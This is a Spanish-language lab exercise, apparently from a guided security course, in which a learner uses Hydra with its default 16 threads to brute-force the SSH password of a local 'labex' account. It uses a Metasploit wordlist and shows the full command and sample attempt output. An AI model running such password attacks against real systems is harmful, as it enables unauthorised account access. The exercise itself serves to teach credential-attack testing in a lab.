Ejecutar Hydra con 16 Hilos por Defecto
En este paso, usarás Hydra para intentar descifrar la contraseña del usuario labex en tu servidor SSH. Empezarás utilizando el número de hilos predeterminado de Hydra, que es 16.
La lista de contraseñas ya se ha descargado durante el proceso de configuración. El archivo ~/project/password.txt contiene la lista de palabras unix_passwords.txt del framework Metasploit, que incluye cientos de contraseñas comunes de Unix. Esta lista de palabras más extensa proporcionará una mejor demostración de las diferencias de rendimiento de los hilos en comparación con una lista manual pequeña.
Puedes verificar que la lista de contraseñas esté disponible y comprobar su tamaño:
ls -la ~/project/password.txt
wc -l ~/project/password.txt
Esto te mostrará los detalles del archivo y el número de contraseñas en la lista de palabras (deberían ser varios cientos de entradas).
Ahora, ejecuta el comando Hydra. La opción -l especifica el nombre de usuario a atacar (labex), -P especifica la ruta a tu lista de contraseñas (~/project/password.txt), y -V habilita el modo detallado para mostrar cada intento. ssh://localhost indica que estás atacando al servicio SSH en la máquina local.
hydra -V -l labex -P ~/project/password.txt ssh://localhost
Hydra comenzará a intentar iniciar sesión en el servidor SSH utilizando cada contraseña del archivo password.txt. Dado que no especificaste la opción -t, Hydra utilizará su valor predeterminado de 16 hilos, lo que significa que intentará 16 intentos de contraseña simultáneamente. La bandera -V te mostrará cada intento en tiempo real.
Nota importante sobre la bandera -V:
El parámetro -V (detallado) es crucial para observar el proceso de ataque. Sin él, Hydra solo muestra información resumida y el resultado final, pero no verás las líneas individuales [ATTEMPT] que muestran cada contraseña que se está probando. Esta salida detallada te ayuda a comprender cómo la cantidad de hilos afecta la velocidad y el patrón del ataque.
Verás una salida similar a esta a medida que Hydra avanza:
Hydra vX.Y (c) YYYY by van Hauser/THC - Use libremente pero solo para fines legales.
Hydra comenzando en YYYY-MM-DD HH:MM:SS
[DATA] max 16 tareas por 1 servidor, en general 16 tareas, XXX intentos de inicio de sesión (l:1/p:XXX), ~XX intentos por tarea
[DATA] atacando ssh://localhost:22/
[ATTEMPT] target: localhost - login: labex - pass: !@#$%
[ATTEMPT] target: localhost - login: labex - pass: !@#$%^
[ATTEMPT] target: localhost - login: labex - pass: 000000
...
[22][ssh] host: localhost login: labex password: labex
1 de 1 objetivo completado con éxito, 1 contraseña válida encontrada
Hydra finalizado en YYYY-MM-DD HH:MM:SS
Con la lista de palabras más extensa, notarás que Hydra tarda más tiempo en encontrar la contraseña correcta, lo que hace que las diferencias en la cantidad de hilos sean más evidentes. Observa la información de tiempo que Hydra proporciona cuando finaliza.